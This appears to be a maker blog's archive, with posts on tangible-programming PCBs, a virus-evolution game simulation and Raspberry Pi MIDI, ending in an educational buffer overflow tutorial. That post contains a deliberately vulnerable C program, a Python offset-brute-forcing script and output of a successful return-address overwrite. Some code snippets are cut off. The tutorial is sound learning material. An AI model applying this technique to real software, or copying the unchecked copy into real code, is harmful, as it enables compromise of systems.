Pattern Matrix PCBs arrived & first tests

After triple checking the schematics and design files and ordering 80 PCBs (50 sensors and 30 i2c boards) there was an anxious wait for them to arrive and do some initial tests to find out if there were any mistakes. We now have enough boards to make two new pattern matrix devices, one 4X4 and one 5X5 – the plan is to evaluate the design and refine it for future builds.




The picture below shows the first test boards populated and plugged it into the Pi – it’s much neater than the lego and breadboard prototype! The good news is that it seems to work so far, the only problem I’ve had is with the hall effect sensors, the pads are a tiny bit too close together for my skills. After a couple of tricky situations fixed with a de-soldering pump, I think I’ve come up with a strategy that works. I can bend the outer pins away from each other and solder the central pin first – then bend them back to finish the outer ones and being very careful not to bridge the pads.


The blue jumpers on the square i2c boards allow you to program the device channel that the two expanders use – these could alternatively be hard soldered, but it’s good to have the option to reuse the parts or reconfigure a pattern matrix so we can add different sensors etc.


For reference, the KiCad 3D viewer models look pretty close.



Viruscraft: building a ‘reasonably accurate’ genetic game world simulation

The concept for the viruscraft game is to have a realtime genetic model or simulation of the host evolution which is adapting to the properties of a virus you are building (either on screen or via a tangible interface as part of an exhibit). This model needs to be realistic, but only up to a point – it can be more of a caricature of biology than a research model would need to be, as our intentions are educational rather than biological research.

Using our previous species prototype as a starting point, we have a network of connected locations that can be inhabited by organisms. These organisms can jump to neighbouring locations and be infected by others in the same place at the same time. Now we need to figure out how different species of these organisms could emerge over time that evolve immunity to a virus – so we can build up a family tree (phylogeny) similar to the ones we created for the egglab game but that is responding to the viruses that you create in realtime as you play. The evolution itself also has to happen fast enough that you can see effects of your actions ‘quickly enough’, but we’ll worry more about that later.

For a job like this we need to move back from fancy visualisations and graphics and try to get some fundamental aspects working, using standard tools like graphviz to understand what is going on to save time.

The first thing to do is to add a fixed length genetic string to each individual organism, this is currently 40 elements long and is made from biologically based A,T,C and G nucleotide symbols. We chose these so we can use biological analysis tools to test the system as we go along just like any other genetic process (more on that below). The organisms can also reproduce by spawning copies of themselves. When they do this they introduce random errors in the genetic code of their offspring which represents mutation.

Previously we were using a ‘SIRS’ model for virus infection (susceptible -> infected -> recovered -> susceptible), based on 4 global parameters that determined the probability of jumping from one state to the next. Using the genetics, the probability of infection is now different for every individual based on:

1. Is a virus infected individual in the current location?

2. If so, use our genetic code to determine the probability of catching it. Currently we use the ratio of A’s to T’s in the genetic string as a totally arbitrary place-holder ‘fitness function’, the lower the number the better. AAAAAAT is bad (fitness: 6) while TTTTTTA is good (fitness: 0.1666) – so we would expect the A’s to disappear over time and the T’s increase in the genetic strings. This number also determines the probability of dying from the disease and (inversely) the probability of gaining immunity to it.

3. A very small ‘background infection’ probability which overrides this, so the virus is always present at a low level and can’t die out.

The next thing we need is a life cycle for the organism – this needs to include the possibility of death and the disease model is now a ‘SIR’ one, as once recovered, individuals cannot go back to being susceptible again.


All the other non virus related probabilities in the simulation (spawning offspring, moving location, natural death) are currently globally set – to make sure we are seeing evolution based only on disease related behaviour for now.

This model as it is could form the foundation of a world level visualisation – seeing organisms running around from place to place catching and spreading your virus and evolving resistance to it. However this is only half the story we want to tell in the game, as it doesn’t include our time based ‘phylogenetic’ family tree view. For this, we still need to figure out how to group individuals into species so we can fully visualise the effects of your virus on the evolution of all the populations as a whole.

First we need to decide exactly what a species is – which turns out to be quite an arbitrary concept. The rather course approach that seems to work here is to say that two organisms represent two distinct species if more than a quarter of their genes are different between them.

We can now check each organism as it’s born – and compare its genome against a ‘blueprint’ one that represents the species that it’s parent belongs to. If it’s similar enough we add it to its parents species, if it’s too different we create a new species for it. This new species will have a copy of its genome as the ‘blueprint’ to compare all its descendants with. This should mean we can build up a set of related species over time.

If we run the simulation for 5000 time steps we can generate a phylogenetic family tree at the end, using the branch points between species to connect them. We are hiding species with only 1 member to make it simpler, and the population is started off with 12 unique individuals. Only one of which (species 10) is successful – all the later species are descendants of that one:


The numbers here are the ID, fitness and size of population for each species. The colours are an indication of population size. The fitness seems to increase towards the right (as the number drops) – which is what we’d expect if new species are emerging that cope better with the virus. You can imagine changing the virus will cause all this to shift dramatically. The “game mechanic” for viruscraft will all be about tinkering with the virus in different ways that changes the underlying fitness function of the host, and thus the evolution of the populations.

As we used standard biological symbols for our genetic code, we can also convert each species into an entry in a FASTA format text file. These are used by researchers to determine population structure from limited information contained in genetic samples:

> 1 0.75 6
> 3 0.46153846153846156 5
> 5 0.6153846153846154 171

In the FASTA file in the example above, the numbers after the ‘>’ are just used as identifiers and are the same as the tree above. The second line is the blueprint genome for the species (its first individual). We can now visualise these with one of many online tools for biological analysis:


This analysis is attempting to rebuild the first tree in a way, but it doesn’t have as much information to go on as it’s only looking at similarity of the genetic code. Also 40 bases is not really enough to do this accurately with such a high mutation rate – but I think it’s a good practice to keep information in such a way that it can be analysed like this.

PCB design for pattern matrix 2

This is the pattern matrix 2 tangible sensor schematic, which is fairly simple – just 4 hall effect sensors and a capacitor to smooth out any noise on the power supply.


We need to make hundreds of these for the Penelope Project, and we can save some costs by using the built in pull up resistors in the MCP32017 to get a decent signal from the sensors. The difficulty with this PCB is arranging the sensors so they align with the magnets in the tangible programming block in the optimum manner. From tests with the prototype Lego rig, this isn’t actually too critical – but it’s set up so the lead length can be tweaked a bit at soldering time.


This took me about 20 variations to finally get right, but the circuit is just about simple enough that it can be made single sided – this is good because the top side will be partly exposed, while the lower side with all the copper traces can be protected. It’s good practice to have large areas of copper left connected to ground, partly as it’s a common connection needed all over the board, partly for stability but also it reduces the amount of chemicals required to etch the circuit – as only the parts around the traces need to be removed.


The i2c expander board is a little more complicated. The design is made to be modular so we can stack up any number of these connected to the Raspberry Pi for different arrangements of sensors. Each board can deal with 8 sensor locations (each comprising 4 individual hall effect sensors). Their job is to convert the digital signals from each sensor into serial data (using the i2c protocol) so the Raspberry Pi can read them all just using 2 wires, plus 2 for power.


Each board can be configured to a separate i2c device address to tell it apart from the others using jumper connectors. This one had to be 2 sided, but I managed it without any ‘vias’ (holes to pass traces from one side of the board to another). I also added a power indicator LED as a last minute addition.


I’ve been learning the open source Kicad software to design these, which is now used by CERN for building the LHC, so it’s pretty fully featured! The idea is that you draw the schematic first, link each component with a physical ‘footprint’, then switch to the PCB design stage. Other software I’ve used in the past tries to route everything in one go for you (and can come up with some pretty strange and messy results). Kicad works in a semi-automatic manner – you need to draw each trace by hand, but it routes them around components and other traces, and suggests the shortest path for you. This is quite a lot better than a fully automatic approach as you have more control over the end result, and easily end up with a decent placement of all the parts.


This project is of course open hardware, and can be found on github here.

Pattern Matrix 2 haptic experiments

One of the potential future additions to our tangible programming hardware is haptic feedback, using sound/vibration to provide a extra channel of information through your fingers when programming with tangible blocks. We wanted to test this before designing the PCB hardware in case we could add it to the system simply – this was initiated by watching a reverse engineering video on youtube (I think by bigclivedotcom) where a technique was mentioned for sneakily reusing input lines (of which we have hundreds) as outputs when they are not being read, by using diodes to separate the signals.


Piezo transducers are often used as cheap speakers, and they can also provide some touch feedback by using lower frequencies. We tested one to see if it interfered with the magnetic fields, and the diaphragm doesn’t seem to be ferrous metal (I’m not actually sure what it is made from) so it can be placed right over the sensors with no effect. A bit more Lego to attach it to the prototype sensor unit, and to see we can feel it through the tangible block when it’s touching the sensor.

The first attempt consisted of simply plugging a speaker into the i/o line from the MCP23017 port expander, switching between input and output on the Pi and adding a diode to prevent the output voltage getting to the sensor.


The problem is all the circuits we’re using run on 3.3V, but the piezo speaker I’m using is rated up to 20V – so it’s just not strong enough to feel it. The Pi also provides 5V pins, so a second attempt to use a simple driver circuit (single transistor common emitter amplifier) to boost the voltage:


You can hear this version in the video above – it’s playing a sound using a frequency crudely determined by the 4 bit value the block orientation represents whenever it changes. This is louder (loud enough at least to make a recording) but still not enough to feel easily, even when you put the piezo between the sensor and the block. So it seems the best way to get this to work properly will be via a separate circuit, not something we can slot into the existing input hardware. Another advantage of doing it separately is that we can treat it more like a multichannel audio setup with a dedicated processor that is not interrupted by the sensor reading. One solution I saw was to use the same H bridges as used to drive motors from microcontrollers as these take much higher voltages – this will be something to try later on.

New pattern matrix developments

A few weeks ago we kicked off the new Penelope project, and while in Munich one of our first jobs was to deliver the prototype pattern matrix to the Museum of Casts of Classical sculpture for exhibition over the summer as part of our Penelopean lab. Our next mission in Cornwall is to design new tangible programming hardware so we can start manufacturing a small run of alternative versions with more sensors to try new experiments with them. Some of them will be used for public exhibition, others for the researchers to use in talks and seminars, others for musical livecoding performances.

A big focus for us is the materials and physical design, on the one hand like everything FoAM Kernow builds it needs to be open source and appropriate technology (so easily explainable and built by others) and on the other it needs to be sympathetic to it’s context in the museum, displayed alongside looms and technology that are thousands of years old. This has resonance with the Al Jazari livecoding installation in the Alhambra in 2008, where a juxtaposition of modern and ancient curiously worked. As part of this we want to switch from materials like aluminium and plastic to wood construction – employing similar building techniques to the looms themselves, but more along the lines of inspiration to inform alternative technological choices rather than simple mimicry.

We’re also trying out simpler electronics designs – firstly switching to slightly cheaper hall effect sensors (SS411P from SS411A, previously) and testing different kinds of magnets – which turns out to be the more tricky part to get right. Here is a rare earth magnet test:

Ferrite magnet test:

For environmental and cost reasons ferrite magnets would be much better to use, and they are strong enough to be picked up by the sensors in a useful range – however presumably in order to increase their ‘stickiness’ it appears that ferrite magnets are often magnetised in complex ways, with both poles being present on the same (active) side, and much reduced on the other. This means we can’t use them in the same way, they flip the field on and off with the same orientation and don’t do anything on the other. We’re still searching for a fix for this, but currently the best we can do is reduce the rare earth magnet thickness to 1.5 mm from 3mm used in the prototype.

The prototype was useful for demonstrating that we can use digital signals rather than needing analogue sensors which it was built to allow if the hall effect sensors were not good enough – so a big development is removing the microcontrollers we needed before and replacing them with port expander ICs (MCP23017). These even use the same serial communication we were using (i2c) to talk to the Raspberry Pi so it’s a straight swap.

In order to test the new system all together as well as new magnet combinations and spacing we built a prototype with lego to hold the sensors in the right position, and provide the base for the tangible programming block to rest or be rotated on. This is important to do for the design of the PCB before it goes for production – as we can’t change the sensor position afterwards, more on that part soon.

Viruscraft next steps

Following on from the first viruscraft workshop, we can now start planning the viruscraft game. The field of virology from genetics and interactions on the microscopic scale to the spread of disease and it’s effects on the ecosystem is huge, so we used the workshop primarily to identify the core things that are the most important to convey, and promising ways we can use to explain them. Getting high quality feedback so early on has allowed us to get a good sense of what is important with a diverse mix of people – the things that they picked up on (and just as importantly the things that they didn’t) saves a lot of time – and sharpens our focus right from the start.

1. Phylogeny

Phylogeny is the name given to a kind of family tree that shows the evolution and development of species over time. Ben’s work is concerned with how viruses can jump across species, so the concept of phylogeny is central to his work. There is also something very concrete and humbling about hearing the time scales involved here – nearest common ancestors of related species of fruit flies (his model organism for study) being tens of million years distant, while you need to go back 800 million years to find their common ancestor with us. These numbers are hard to grasp, but at the same time put things into perspective. Playing with and visualising long time spans will be an important aspect of this project.

2. Interaction of hosts and viruses

Viruses and their hosts are very different, hosts can be any creatures from bacteria, plants or animals while viruses seem little more than self replicating geometric shapes. Despite these differences, viruses and hosts have a huge effects on each other’s evolution – viruses need to spread and infect as many individuals as possible, but if they get ‘too good’ they kill off their hosts and they die off too. We’ve dealt with the co-evolution of hosts and diseases before in the red king sonification project, and again here the dynamics between competing organisms needs to be a central theme.

3. Shape matching/arms race

Our workshop participants found it surprising that one of the defining aspects of a viruses success is down to shape – e.g. whether you succumb to a cold or not is down to the ‘lock and key’ connection which needs to happen for the virus to attach to receptors on a cell’s external structure. These physical forms are the most promising area for viruscraft in terms of game mechanics – particularly if we are thinking about physical, tangible interfaces.

As an arms race situation between the host and the virus, our butterfly mimicry game for Cambridge university is a good reference for how a game mechanic can work in this context, as it accelerates evolution over the course of a minute or two as you play.

Given these themes we can now fill out our initial sketch a little with the new scientific information we learnt from the workshop as well as the feedback and ideas. One major addition is to add phylogeny as a kind of racing game in reverse, with time heading backwards so you can see the effects of your virus on a population, and also gives us a way to visualise your virus skipping between species. Like the Inca, we travel backwards into the future, giving us a view on biological history.

The primary game mechanic controlling the species jumping and virus success in general is combining shapes based on receptors on the host cells – this is very roughly shown above, the virus is currently attaching to the spherical receptors and infecting those host populations, if one of the players plugs in the shapes they are holding they will jump across to infect one of the other species too. The precise nature of this needs to be realistic enough that players get the idea that this is actually how things work rather than a metaphor, but schematic and abstract enough that it’s simple enough to understand within a few minutes of play. The other aspect of the shape matching is that the relatedness of host species should be reflected in the receptors in some sensible way (closely related ones should be similar) – so we need a procedural ‘receptor combination generator’ to make matching interesting, with zillions of possible combinations.

Another limitation is that of feasibility with regards to building a tangible interface. Luckily we have a few stepping stones that give us a range in terms of cost and risk. One of the activities from the workshop was building a large virus capsid out of bamboo – which led to a large scale modular origami climbing frame crossed with a dance mat as a grand vision, incorporating feedback consisting of haptics, lighting or projection mapping. In terms of practicalities (and budget) we need to get there a step at a time.

We can start by building a screen based system for manipulating the virus structure and shape matching, as it needs to be able to work in browsers anyway for accessibility – so this is a good place to begin. Once we have this working we can test the game properly and move on to building a smaller scale tangible interface, like in the sketch above – perhaps based on the pattern matrix technology, primarily designed for exhibitions and family groups to play with together.

The underlying model or simulation that is being manipulated is unusual for us in that it does not have to be a scientific research model, so we can design something that is realistic enough for educational purposes but no more. This is the next priority, and we can build on our viruscraft prototypes by having a model based on individuals navigating a mesh of connected nodes that alter to represent dynamic geographical changes (formation of land bridges and islands). The phylogeny chart can then be a separate visualisation of this same process (with references to futuristic driving games such as f-zero and wipeout). Time may run matched to the earth’s time line, so perhaps every day starts at the appearance of mammals and ends with the present day – the world map could match earth, or could be an alien planet. We can have external events to liven the game up, perhaps if you are doing too well your hosts could in impacted by climate change, asteroid strikes or tectonic shifts.

Debugging midi bytes with sonification

I’m currently working on some hardware for interfacing a Raspberry Pi 3 with MIDI. You can of course use a normal USB audio interface, and there is a ready made MIDI Hat module for the Pi already – but I only need MIDI out, and it shouldn’t be a problem to come up with something simple using the GPIO pins.

(Debugging: Wrong clock rate – but we have data! I ended up debugging by sonifying the MIDI bytes with a piezo speaker)

I followed the instructions here, expanded here and updated for Raspberry Pi 3 here – and using bits of all of them I managed to get it working in the end, so I thought it would be a good idea to document it here.

The main idea is that the Raspberry Pi already contains a serial interface we can reconfigure to send MIDI bytes, rather than bolting on lots of new hardware. All you need is to free it up from its default purpose which is to allow external terminal connection and as the bluetooth interface on the Pi3. We also need to slow it right down to 1980’s MIDI baud rate. You can then connect your MIDI cable to the Raspberry Pi’s ‘TX’ pin with a little bit of buffering hardware in between. This is needed to bring it up to 5V from the Pi’s 3.3V logic output (but as they need to be Schmitt triggers perhaps an additional function is to ‘hold’ the voltage for longer). I tried a normal TTL buffer and it didn’t work – but didn’t look into this too closely. As an aside, I found a UK made IC in my stockpile:


On the Raspbian end of the equation we need a few tweaks to set up the Raspberry Pi. Edit /boot/cmdline.txt and remove the part that says console=serial0,115200, this stops the kernel listening to the serial device. Next edit /boot/config.txt to add these lines to the bottom:

dtoverlay=pi3-miniuart-bt # disable bluetooth

This slows the serial (UART) clock down to the right rate relative to the Pi3 clock and disables bluetooth. Due to the OS switch to systemd on Linux a lot of the documentation is out of date, but I also ran:

sudo systemctl disable serial-getty@ttyAMA0.service

In order to turn off, and stop the console serial interface from starting at boot, I’m not sure if that was required. Then it’s a case of rebooting, compiling ttymidi (which required a small Makefile change to add -lpthread to the link line). This program sets up a MIDI device accessible by ALSA, so we can then install vkeyb (a virtual midi keyboard) and connect it to ttymidi in qjackcontrol. This is a pic of the testing setup with my trusty SU10 sampler.


My first buffer overflow exploit

I know worryingly little about the world of computer security – I’ve probably written a huge amount of exploitable code in my time, so it’s a good idea as a programmer to spend a bit of effort finding out more about how our programs can be compromised in order to gain awareness of the issues.

The key to understanding exploits is the concept of the universal machine – the fact that trying to restrict what a computer can do is literally fighting against the laws of physics. Lots of money can be poured into software which sometimes only takes a couple of days to get compromised, its a Sisyphean task where the goal can only be to make it “hard enough” – as its likely that anything complex enough to be useful is vulnerable in some way.

Having said that, the classic exploit is quite avoidable but regrettably common – the buffer overflow, a specific kind of common bug which makes it possible to write over a program’s stack to take control of it’s behaviour externally. This was about as much as I knew, but I didn’t really understand the practicalities so I thought I’d write an example to play with. There are quite a lot of examples online, but a lot of them are a little confusing so I’d thought I try a simpler approach.

Here is a function called “unlock_door”, we’ll compile this into a C program and try to force it to execute even though it’s not called from the program:

void unlock_door() { 
  printf("DOOR UNLOCKED\n"); 

Now we need a vulnerability, this could be something completely unrelated to “unlock_door” but called in the same program – or it’s library code:

void vulnerable(char *incoming_data, unsigned int len) {
    char fixed_buffer[10];
    // woop! put some variable length data in 
    // a fixed size container with no checking
    // print out the return pointer, helpful for debugging the hack!
    printf("return pointer is: %p\n", 

The dodgy memcpy call copies incoming_data into fixed_buffer on the stack which is 10 bytes big. If incoming_data is bigger then it will copy outside of the reserved memory and overwrite other data on the stack. One of the other things stored on the stack is the return address value – which tells the program where the function was called from so it can go back when it’s finished. If we can set incoming_data from outside the program, then we can exploit it to redirect program flow and jump into unlock_door instead of returning properly.

We’ll make getting data into the program very simple indeed, and input it via a base16 encoded argument string converted to binary data passed to our vulnerable function in main:

unsigned int base16_decode(const char *hex, char **data) {
  unsigned int str_size = strlen(hex);
  *data = malloc(str_size/2); 
  for (unsigned int i=0; i<str_size; i+=2) {
    if (sscanf(&(hex[i]), "%2hhx", &((*data)[i/2])) != 1) {
      return 0;
  return str_size/2;

void main(int argc, char **argv) {
  char *data;
  unsigned int size = base16_decode(argv[1],&data);
  printf("normal exit, door is locked\n");

This is our vulnerable C program finished. If we run it with just a few bytes of data it operates normally and prints out the current return pointer, sending it back into the main function it was called from:

$ ./dodgy_door_prog 0000000000
return pointer is: 0x40088c
normal exit, door is locked

We can now inspect it in order to figure out the exploit. The first thing we can do is run the standard bintools “nm” command on the binary which prints out the addresses of all the functions in the executable. We can search this with grep to print the address of the target function we want to call:

$ nm dodgy_door_prog | grep unlock_door
00000000004007fa T unlock_door

The smart thing to do next is to work out where the return pointer would be relative to the fixed_buffer variable and offset this address to provide a payload to send the the program – I’m not smart though, so I wrote a python program to figure it out for me:

import os
import string

# this is stored in memory in reverse (little endian format)
unlock_door_addr = "fa0740"

def build_payload(length):
    return "00"*length+unlock_door_addr

ret = 0
count = 0
# try increasing offsets and until we get the exit code from unlock_door
# ignore all segfaults and bus errors etc and keep retrying
while ret in [0,35584,34560,34304,33792]:
    cmd="./dodgy_door_prog "+payload
    ret = os.system(cmd);
    print cmd

It took me a while to figure out that addresses are stored in memory backwards to what you’d expect as it’s little-endian memory layout (on intel and everything else these days). The script keeps adding zeros in order to offset the target address until it sits in the right bit of stack memory (you can see the return pointer gradually getting corrupted) and eventually triggers the function:

./dodgy_door_prog 00000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000fa0740
return pointer is: 0x40088c
Bus error (core dumped)
./dodgy_door_prog 00000000000000000000000000000000000000000000fa0740
return pointer is: 0x400840
Segmentation fault (core dumped)
./dodgy_door_prog 0000000000000000000000000000000000000000000000fa0740
return pointer is: 0x404007
Segmentation fault (core dumped)
./dodgy_door_prog 000000000000000000000000000000000000000000000000fa0740
return pointer is: 0x4007fa

The successful offset is 24 bytes. Now the good news is that this is only possible on GCC if we compile with “-fno-stack-protector”, as by default for the last year or so it checks functions that allocate arrays on the stack by using a random “canary” value pushed to the stack, if the canary gets altered it stops the program before the function returns. However not all functions are checked this way as it’s slow, so it’s quite easy to circumvent for example if changed from an array to to the address of a local variable instead.

More advanced versions of this exploit also insert executable code into the stack to do things like start a shell process so you can run any commands as the program. There is also an interesting technique called “Return Oriented Programming” where you can analyse an executable to find snippets of code that end in returns (called “gadgets”) and string them together to run your own arbitrary programs. This reminds me of the recent work we’ve been doing on biological viruses, as it’s analogous to how they latch onto sections of bacterial DNA to run their own code.